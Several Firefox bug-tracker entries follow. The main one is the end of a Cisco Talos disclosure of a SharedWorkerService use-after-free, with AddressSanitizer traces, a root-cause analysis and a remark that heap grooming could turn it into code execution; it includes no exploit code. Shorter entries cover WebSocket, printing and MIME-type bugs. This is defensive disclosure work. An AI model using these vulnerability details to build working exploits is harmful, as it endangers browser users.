#10 0x7fa301c6538f in mozilla::ipc::PBackgroundParent::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/obj-build/ipc/ipdl/PBackgroundParent.cpp:5068:28
#11 0x7fa30153813c in mozilla::ipc::MessageChannel::DispatchAsyncMessage(mozilla::ipc::ActorLifecycleProxy*, IPC::Message const&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2187:25
#12 0x7fa301535255 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2111:9
#13 0x7fa3015366cf in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1959:3
#14 0x7fa301536ede in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1990:13
#15 0x7fa3004c58ce in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1220:14
#16 0x7fa3004d035c in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:481:10
#17 0x7fa301540ed4 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:302:20
#18 0x7fa30146cfe7 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
#19 0x7fa30146cfe7 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
#20 0x7fa30146cfe7 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
#21 0x7fa3004bf245 in nsThread::ThreadFunc(void*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:464:10
#22 0x7fa3169a51fe in _pt_root /builds/worker/checkouts/gecko/nsprpub/pr/src/pthreads/ptthread.c:201:5
#23 0x7fa31a2c2668 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x9668)
#24 0x7fa319e80322 in clone /build/glibc-t7JzpG/glibc-2.30/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95
```
Further analysis revealed that the root cause of that vulnerability seems to be a lack of Mutex object in the `GetOrCreateWorkerManager` method:
https://github.com/mozilla/gecko-dev/blob/5a52cec97c41ae1eda9412dfe6f4099a9af4c7dd/dom/workers/sharedworkers/SharedWorkerService.cpp#L152
```C++
Line 152 void SharedWorkerService::GetOrCreateWorkerManager(
Line 153 SharedWorkerParent* aActor, const RemoteWorkerData& aData,
Line 154 uint64_t aWindowID, const MessagePortIdentifier& aPortIdentifier) {
Line 155 AssertIsOnBackgroundThread();
Line 156
Line 157 // The real check happens on main-thread.
Line 158 RefPtr<GetOrCreateWorkerManagerRunnable> r =
Line 159 new GetOrCreateWorkerManagerRunnable(this, aActor, aData, aWindowID,
Line 160 aPortIdentifier);
```
In `line 159` the `SharedWorkerService` object, represented by `this`, is passed as an argument to the `GetOrCreateWorkerManagerRunnable` method.
Meanwhile it is destroyed via the `~SharedWorkerManagerHolder()` destructor.
```
0x606000315770 is located 48 bytes inside of 64-byte region [0x606000315740,0x606000315780)
freed by thread T0 here:
#0 0x55b69948588d in free /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:123:3
#1 0x7fa306eff34c in operator delete /builds/worker/workspace/obj-build/dist/include/mozilla/cxxalloc.h:51:10
#2 0x7fa306eff34c in Release /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.h:31:3
#3 0x7fa306eff34c in Release /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:50:40
#4 0x7fa306eff34c in Release /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:381:36
#5 0x7fa306eff34c in ~RefPtr /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:81:7
#6 0x7fa306eff34c in mozilla::dom::SharedWorkerManagerHolder::~SharedWorkerManagerHolder() /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerManager.cpp:285:1
```
Proper heap grooming can give an attacker full control of this use-after-free vulnerability and as a result could allow it to be turned into arbitrary code execution.
### Crash Information
```
=================================================================
==12981==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000315770 at pc 0x7fa306f0022f bp 0x7fa2e155f5f0 sp 0x7fa2e155f5e8
WRITE of size 8 at 0x606000315770 thread T46 (IPDL Background)
#0 0x7fa306f0022e in fetch_add /builds/worker/fetches/clang/bin/../lib/gcc/x86_64-unknown-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/atomic_base.h:514:16
#1 0x7fa306f0022e in operator++ /builds/worker/workspace/obj-build/dist/include/nsISupportsImpl.h:331:19
#2 0x7fa306f0022e in AddRef /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.h:31:3
#3 0x7fa306f0022e in AddRef /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:49:39
#4 0x7fa306f0022e in AddRef /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:380:35
#5 0x7fa306f0022e in RefPtr /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:109:7
#6 0x7fa306f0022e in GetOrCreateWorkerManagerRunnable /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.cpp:37:9
#7 0x7fa306f0022e in mozilla::dom::SharedWorkerService::GetOrCreateWorkerManager(mozilla::dom::SharedWorkerParent*, mozilla::dom::RemoteWorkerData const&, unsigned long, mozilla::dom::MessagePortIdentifier const&) /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.cpp:159:11
#8 0x7fa306effaa7 in mozilla::dom::SharedWorkerParent::Initialize(mozilla::dom::RemoteWorkerData const&, unsigned long, mozilla::dom::MessagePortIdentifier const&) /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerParent.cpp:52:12
#9 0x7fa3014c45aa in mozilla::ipc::BackgroundParentImpl::RecvPSharedWorkerConstructor(mozilla::dom::PSharedWorkerParent*, mozilla::dom::RemoteWorkerData const&, unsigned long const&, mozilla::dom::MessagePortIdentifier const&) /builds/worker/checkouts/gecko/ipc/glue/BackgroundParentImpl.cpp:552:10
#10 0x7fa301c6538f in mozilla::ipc::PBackgroundParent::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/obj-build/ipc/ipdl/PBackgroundParent.cpp:5068:28
#11 0x7fa30153813c in mozilla::ipc::MessageChannel::DispatchAsyncMessage(mozilla::ipc::ActorLifecycleProxy*, IPC::Message const&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2187:25
#12 0x7fa301535255 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2111:9
#13 0x7fa3015366cf in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1959:3
#14 0x7fa301536ede in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1990:13
#15 0x7fa3004c58ce in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1220:14
#16 0x7fa3004d035c in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:481:10
#17 0x7fa301540ed4 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:302:20
#18 0x7fa30146cfe7 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
#19 0x7fa30146cfe7 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
#20 0x7fa30146cfe7 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
#21 0x7fa3004bf245 in nsThread::ThreadFunc(void*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:464:10
#22 0x7fa3169a51fe in _pt_root /builds/worker/checkouts/gecko/nsprpub/pr/src/pthreads/ptthread.c:201:5
#23 0x7fa31a2c2668 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x9668)
#24 0x7fa319e80322 in clone /build/glibc-t7JzpG/glibc-2.30/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95
0x606000315770 is located 48 bytes inside of 64-byte region [0x606000315740,0x606000315780)
freed by thread T0 here:
#0 0x55b69948588d in free /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:123:3
#1 0x7fa306eff34c in operator delete /builds/worker/workspace/obj-build/dist/include/mozilla/cxxalloc.h:51:10
#2 0x7fa306eff34c in Release /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.h:31:3
#3 0x7fa306eff34c in Release /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:50:40
#4 0x7fa306eff34c in Release /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:381:36
#5 0x7fa306eff34c in ~RefPtr /builds/worker/workspace/obj-build/dist/include/mozilla/RefPtr.h:81:7
#6 0x7fa306eff34c in mozilla::dom::SharedWorkerManagerHolder::~SharedWorkerManagerHolder() /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerManager.cpp:285:1
#7 0x7fa306f04611 in mozilla::dom::SharedWorkerManagerHolder::Release() /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerManager.h:32:3
#8 0x7fa306f0853a in detail::ProxyReleaseEvent<mozilla::dom::SharedWorkerManagerHolder>::Run() /builds/worker/workspace/obj-build/dist/include/nsProxyRelease.h:36:5
#9 0x7fa3004c58ce in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1220:14
#10 0x7fa3004d035c in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:481:10
#11 0x7fa30153fe6a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:87:21
#12 0x7fa30146cfe7 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
#13 0x7fa30146cfe7 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
#14 0x7fa30146cfe7 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
#15 0x7fa307562ff8 in nsBaseAppShell::Run() /builds/worker/checkouts/gecko/widget/nsBaseAppShell.cpp:137:27
#16 0x7fa30aafa5bb in nsAppStartup::Run() /builds/worker/checkouts/gecko/toolkit/components/startup/nsAppStartup.cpp:271:30
#17 0x7fa30ad00546 in XREMain::XRE_mainRun() /builds/worker/checkouts/gecko/toolkit/xre/nsAppRunner.cpp:4614:22
#18 0x7fa30ad023b1 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /builds/worker/checkouts/gecko/toolkit/xre/nsAppRunner.cpp:4749:8
#19 0x7fa30ad030f3 in XRE_main(int, char**, mozilla::BootstrapConfig const&) /builds/worker/checkouts/gecko/toolkit/xre/nsAppRunner.cpp:4800:21
#20 0x55b6994b8726 in do_main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:217:22
#21 0x55b6994b8726 in main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:331:16
#22 0x7fa319d851e2 in __libc_start_main /build/glibc-t7JzpG/glibc-2.30/csu/../csu/libc-start.c:308:16
previously allocated by thread T46 (IPDL Background) here:
#0 0x55b699485b0d in malloc /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:145:3
#1 0x55b6994bb4fd in moz_xmalloc /builds/worker/checkouts/gecko/memory/mozalloc/mozalloc.cpp:52:15
#2 0x7fa306effc46 in operator new /builds/worker/workspace/obj-build/dist/include/mozilla/cxxalloc.h:33:10
#3 0x7fa306effc46 in mozilla::dom::SharedWorkerService::GetOrCreate() /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerService.cpp:126:42
#4 0x7fa306effa77 in mozilla::dom::SharedWorkerParent::Initialize(mozilla::dom::RemoteWorkerData const&, unsigned long, mozilla::dom::MessagePortIdentifier const&) /builds/worker/checkouts/gecko/dom/workers/sharedworkers/SharedWorkerParent.cpp:50:41
#5 0x7fa3014c45aa in mozilla::ipc::BackgroundParentImpl::RecvPSharedWorkerConstructor(mozilla::dom::PSharedWorkerParent*, mozilla::dom::RemoteWorkerData const&, unsigned long const&, mozilla::dom::MessagePortIdentifier const&) /builds/worker/checkouts/gecko/ipc/glue/BackgroundParentImpl.cpp:552:10
#6 0x7fa301c6538f in mozilla::ipc::PBackgroundParent::OnMessageReceived(IPC::Message const&) /builds/worker/workspace/obj-build/ipc/ipdl/PBackgroundParent.cpp:5068:28
#7 0x7fa30153813c in mozilla::ipc::MessageChannel::DispatchAsyncMessage(mozilla::ipc::ActorLifecycleProxy*, IPC::Message const&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2187:25
#8 0x7fa301535255 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:2111:9
#9 0x7fa3015366cf in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1959:3
#10 0x7fa301536ede in mozilla::ipc::MessageChannel::MessageTask::Run() /builds/worker/checkouts/gecko/ipc/glue/MessageChannel.cpp:1990:13
#11 0x7fa3004c58ce in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1220:14
#12 0x7fa3004d035c in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:481:10
#13 0x7fa301540ec9 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:332:5
#14 0x7fa30146cfe7 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:315:10
#15 0x7fa30146cfe7 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:308:3
#16 0x7fa30146cfe7 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:290:3
#17 0x7fa3004bf245 in nsThread::ThreadFunc(void*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:464:10
#18 0x7fa3169a51fe in _pt_root /builds/worker/checkouts/gecko/nsprpub/pr/src/pthreads/ptthread.c:201:5
#19 0x7fa31a2c2668 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x9668)
Thread T46 (IPDL Background) created by T0 here:
#0 0x55b69947029a in pthread_create /builds/worker/fetches/llvm-project/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:209:3
#1 0x7fa316995655 in _PR_CreateThread /builds/worker/checkouts/gecko/nsprpub/pr/src/pthreads/ptthread.c:458:14
#2 0x7fa31698651e in PR_CreateThread /builds/worker/checkouts/gecko/nsprpub/pr/src/pthreads/ptthread.c:533:12
#3 0x7fa3004c1c0c in nsThread::Init(nsTSubstring<char> const&) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:670:8
#4 0x7fa3004cf251 in nsThreadManager::NewNamedThread(nsTSubstring<char> const&, unsigned int, nsIThread**) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadManager.cpp:621:12
#5 0x7fa3004d3183 in NS_NewNamedThread(nsTSubstring<char> const&, nsIThread**, nsIRunnable*, unsigned int) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:139:57
#6 0x7fa3014f4e7e in NS_NewNamedThread<16> /builds/worker/workspace/obj-build/dist/include/nsThreadUtils.h:65:10
#7 0x7fa3014f4e7e in (anonymous namespace)::ParentImpl::CreateBackgroundThread() /builds/worker/checkouts/gecko/ipc/glue/BackgroundImpl.cpp:1325:7
#8 0x7fa3014f66c4 in CreateActorForSameProcess /builds/worker/checkouts/gecko/ipc/glue/BackgroundImpl.cpp:1235:32
#9 0x7fa3014f66c4 in ParentContentActorCreateFunc((anonymous namespace)::ChildImpl::ThreadLocalInfo*, unsigned int, nsIEventTarget*, (anonymous namespace)::ChildImpl**) /builds/worker/checkouts/gecko/ipc/glue/BackgroundImpl.cpp:864:9
#10 0x7fa3014fefdb in (anonymous namespace)::ChildImpl::ThreadInfoWrapper::GetOrCreateForCurrentThread(nsIEventTarget*) /builds/worker/checkouts/gecko/ipc/glue/BackgroundImpl.cpp:420:7
#11 0x7fa30573ce17 in mozilla::dom::ClientManager::ClientManager() /builds/worker/checkouts/gecko/dom/clients/manager/ClientManager.cpp:50:7
#12 0x7fa30573f310 in mozilla::dom::ClientManager::GetOrCreateForCurrentThread() /builds/worker/checkouts/gecko/dom/clients/manager/ClientManager.cpp:212:14
#13 0x7fa30573fd12 in mozilla::dom::ClientManager::CreateSource(mozilla::dom::ClientType, nsISerialEventTarget*, nsIPrincipal*) /builds/worker/checkouts/gecko/dom/clients/manager/ClientManager.cpp:268:31
#14 0x7fa30a2cc552 in nsDocShell::MaybeCreateInitialClientSource(nsIPrincipal*) /builds/worker/checkouts/gecko/docshell/base/nsDocShell.cpp:2527:26
#15 0x7fa30a2fa1b5 in nsDocShell::CreateAboutBlankContentViewer(nsIPrincipal*, nsIPrincipal*, nsIContentSecurityPolicy*, nsIURI*, bool, bool, mozilla::dom::WindowGlobalChild*) /builds/worker/checkouts/gecko/docshell/base/nsDocShell.cpp:6554:5
#16 0x7fa30a2fba9c in CreateAboutBlankContentViewer /builds/worker/checkouts/gecko/docshell/base/nsDocShell.cpp:6612:10
#17 0x7fa30a2fba9c in non-virtual thunk to nsDocShell::CreateAboutBlankContentViewer(nsIPrincipal*, nsIPrincipal*, nsIContentSecurityPolicy*) /builds/worker/checkouts/gecko/docshell/base/nsDocShell.cpp
#18 0x7fa30a3bdc13 in mozilla::AppWindow::Initialize(nsIAppWindow*, nsIAppWindow*, nsIURI*, int, int, bool, nsIRemoteTab*, mozIDOMWindowProxy*, nsWidgetInitData&) /builds/worker/checkouts/gecko/xpfe/appshell/AppWindow.cpp:298:21
#19 0x7fa30a3dfccb in nsAppShellService::JustCreateTopWindow(nsIAppWindow*, nsIURI*, unsigned int, int, int, bool, nsIRemoteTab*, mozIDOMWindowProxy*, mozilla::AppWindow**) /builds/worker/checkouts/gecko/xpfe/appshell/nsAppShellService.cpp:679:25
#20 0x7fa30a3e13c7 in nsAppShellService::CreateTopLevelWindow(nsIAppWindow*, nsIURI*, unsigned int, int, int, nsIRemoteTab*, mozIDOMWindowProxy*, nsIAppWindow**) /builds/worker/checkouts/gecko/xpfe/appshell/nsAppShellService.cpp:172:8
#21 0x7fa30aafc911 in nsAppStartup::CreateChromeWindow(nsIWebBrowserChrome*, unsigned int, nsIRemoteTab*, mozIDOMWindowProxy*, unsigned long, bool*, nsIWebBrowserChrome**) /builds/worker/checkouts/gecko/toolkit/components/startup/nsAppStartup.cpp:634:15
#22 0x7fa30ac75086 in nsWindowWatcher::CreateChromeWindow(nsTSubstring<char> const&, nsIWebBrowserChrome*, unsigned int, nsIRemoteTab*, mozIDOMWindowProxy*, unsigned long, nsIWebBrowserChrome**) /builds/worker/checkouts/gecko/toolkit/components/windowwatcher/nsWindowWatcher.cpp:424:33
#23 0x7fa30ac72ee6 in nsWindowWatcher::OpenWindowInternal(mozIDOMWindowProxy*, char const*, char const*, char const*, bool, bool, bool, nsIArray*, bool, bool, bool, nsDocShellLoadState*, mozilla::dom::BrowsingContext**) /builds/worker/checkouts/gecko/toolkit/components/windowwatcher/nsWindowWatcher.cpp:910:12
#24 0x7fa30ac6ddec in nsWindowWatcher::OpenWindow(mozIDOMWindowProxy*, char const*, char const*, char const*, nsISupports*, mozIDOMWindowProxy**) /builds/worker/checkouts/gecko/toolkit/components/windowwatcher/nsWindowWatcher.cpp:292:3
#25 0x7fa3005085c1 in NS_InvokeByIndex /builds/worker/checkouts/gecko/xpcom/reflect/xptcall/md/unix/xptcinvoke_asm_x86_64_unix.S:106
#26 0x7fa301ed7cfb in Invoke /builds/worker/checkouts/gecko/js/xpconnect/src/XPCWrappedNative.cpp:1634:10
#27 0x7fa301ed7cfb in Call /builds/worker/checkouts/gecko/js/xpconnect/src/XPCWrappedNative.cpp:1175:19
#28 0x7fa301ed7cfb in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /builds/worker/checkouts/gecko/js/xpconnect/src/XPCWrappedNative.cpp:1141:23
#29 0x7fa301edcd02 in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:947:10
#30 0x7fa30af3c9e7 in CallJSNative /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:476:13
#31 0x7fa30af3c9e7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:568:12
#32 0x7fa30af3e69a in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:631:10
#33 0x7fa30af2504a in CallFromStack /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:635:10
#34 0x7fa30af2504a in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3026:16
#35 0x7fa30af0aff3 in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:448:10
#36 0x7fa30af40998 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:824:13
#37 0x7fa30b0108ec in ExecuteInExtensibleLexicalEnvironment(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>) /builds/worker/checkouts/gecko/js/src/builtin/Eval.cpp:499:10
#38 0x7fa30b01130c in js::ExecuteInJSMEnvironment(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::Handle<JS::StackGCVector<JSObject*, js::TempAllocPolicy> >) /builds/worker/checkouts/gecko/js/src/builtin/Eval.cpp:606:10
#39 0x7fa30b010f62 in js::ExecuteInJSMEnvironment(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>) /builds/worker/checkouts/gecko/js/src/builtin/Eval.cpp:561:10
#40 0x7fa301dcb5db in mozJSComponentLoader::ObjectForLocation(ComponentLoaderInfo&, nsIFile*, JS::MutableHandle<JSObject*>, JS::MutableHandle<JSScript*>, char**, bool, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/xpconnect/loader/mozJSComponentLoader.cpp:929:19
#41 0x7fa301dd3f8a in mozJSComponentLoader::Import(JSContext*, nsTSubstring<char> const&, JS::MutableHandle<JSObject*>, JS::MutableHandle<JSObject*>, bool) /builds/worker/checkouts/gecko/js/xpconnect/loader/mozJSComponentLoader.cpp:1343:12
#42 0x7fa300447f93 in mozilla::xpcom::ConstructJSMComponent(nsTSubstring<char> const&, char const*, nsISupports**) /builds/worker/workspace/obj-build/xpcom/components/StaticComponents.cpp:1586:3
#43 0x7fa300438740 in mozilla::xpcom::CreateInstanceImpl(mozilla::xpcom::ModuleID, nsISupports*, nsID const&, void**) /builds/worker/workspace/obj-build/xpcom/components/StaticComponents.cpp:11097:7
#44 0x7fa3004754c5 in CreateInstance /builds/worker/checkouts/gecko/xpcom/components/nsComponentManager.cpp:219:46
#45 0x7fa3004754c5 in nsComponentManagerImpl::GetServiceLocked((anonymous namespace)::MutexLock&, (anonymous namespace)::EntryWrapper&, nsID const&, void**) /builds/worker/checkouts/gecko/xpcom/components/nsComponentManager.cpp:1372:17
#46 0x7fa30046bc3e in nsComponentManagerImpl::GetServiceByContractID(char const*, nsID const&, void**) /builds/worker/checkouts/gecko/xpcom/components/nsComponentManager.cpp:1559:10
#47 0x7fa30047cfa2 in CallGetService /builds/worker/checkouts/gecko/xpcom/components/nsComponentManagerUtils.cpp:61:43
#48 0x7fa30047cfa2 in nsGetServiceByContractIDWithError::operator()(nsID const&, void**) const /builds/worker/checkouts/gecko/xpcom/components/nsComponentManagerUtils.cpp:253:21
#49 0x7fa3002f4756 in nsCOMPtr_base::assign_from_gs_contractid_with_error(nsGetServiceByContractIDWithError const&, nsID const&) /builds/worker/checkouts/gecko/xpcom/base/nsCOMPtr.cpp:91:7
#50 0x7fa30ad0e17d in operator= /builds/worker/workspace/obj-build/dist/include/nsCOMPtr.h:1054:5
#51 0x7fa30ad0e17d in nsAppStartupNotifier::NotifyObservers(char const*) /builds/worker/checkouts/gecko/toolkit/xre/nsAppStartupNotifier.cpp:42:23
#52 0x7fa30acff9ea in XREMain::XRE_mainRun() /builds/worker/checkouts/gecko/toolkit/xre/nsAppRunner.cpp:4396:3
#53 0x7fa30ad023b1 in XREMain::XRE_main(int, char**, mozilla::BootstrapConfig const&) /builds/worker/checkouts/gecko/toolkit/xre/nsAppRunner.cpp:4749:8
#54 0x7fa30ad030f3 in XRE_main(int, char**, mozilla::BootstrapConfig const&) /builds/worker/checkouts/gecko/toolkit/xre/nsAppRunner.cpp:4800:21
#55 0x55b6994b8726 in do_main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:217:22
#56 0x55b6994b8726 in main /builds/worker/checkouts/gecko/browser/app/nsBrowserApp.cpp:331:16
#57 0x7fa319d851e2 in __libc_start_main /build/glibc-t7JzpG/glibc-2.30/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/fetches/clang/bin/../lib/gcc/x86_64-unknown-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/atomic_base.h:514:16 in fetch_add
Shadow bytes around the buggy address:
0x0c0c8005aa90: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
0x0c0c8005aaa0: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
0x0c0c8005aab0: fd fd fd fd fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0c8005aac0: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
0x0c0c8005aad0: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
=>0x0c0c8005aae0: fd fd fd fd fa fa fa fa fd fd fd fd fd fd[fd]fd
0x0c0c8005aaf0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
0x0c0c8005ab00: fd fd fd fd fd fd fd fd fa fa fa fa 00 00 00 00
0x0c0c8005ab10: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0c8005ab20: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
0x0c0c8005ab30: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==12981==ABORTING
Exiting due to channel error.
Exiting due to channel error.
```
### Credit
Discovered by Marcin 'Icewall' Noga of Cisco Talos.
https://talosintelligence.com/vulnerability_reports/
|
|
1,668,851 | 15,065,251 |
The CI view at https://libwebsockets.org/sai/index.html loads it's data via a WebSocket. Currently, this is broken in Firefox.
From a quick look, this looks like the payload is never received by Firefox. In the original WebCompat report, the author noted that this used to work, but is no longer working, but there is no visible error anywhere. However, I notice a bunch of possibly related exceptions in the browser console.
Running mozregression pointed towards bug 1497249 as the cause. :kershaw, could you have a look at this?
|
|
1,669,187 | 15,068,574 |
Created attachment 9179564
cant switch orientation to landscape without printing first.gif
**[Affected versions]:**
- Firefox Nightly 83.0a1, Build ID 20201004212809
- Firefox Beta 82.0b7, BuildID 20201002191150
**[Affected Platforms]:**
- Windows 10
- Ubuntu 20.04
**[Prerequisites]:**
- Have the `print.tab_modal.enabled` set to `false`.
**[Steps to reproduce]:**
1. Open a new Firefox Beta profile and navigate to a printable page.
2. Click the Firefox Menu button and select the `Print...` option.
3. Click the `Landscape` option and observe the behavior.
**[Expected results]:**
- The page is refreshed and the orientation is changed to landscape.
**[Actual results]:**
- The page is refreshed and the orientation remains in portrait.
**[Notes]:**
- The issue is no longer reproducible after printing a page.
- Attached a screen recording of the issue.
|
|
1,669,355 | 15,069,622 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Steps to reproduce:
- Set up a simple web server that responds to /aaa.csv with a csv file (content-type: text/csv)
- Create an HTML page containing <script src='/aaa.csv'></script>
- FF will pop an error (in console) saying "The resource from '/aaa.csv' was blocked due to MIME type (“text/csv”) mismatch". (that's the desired behavior)
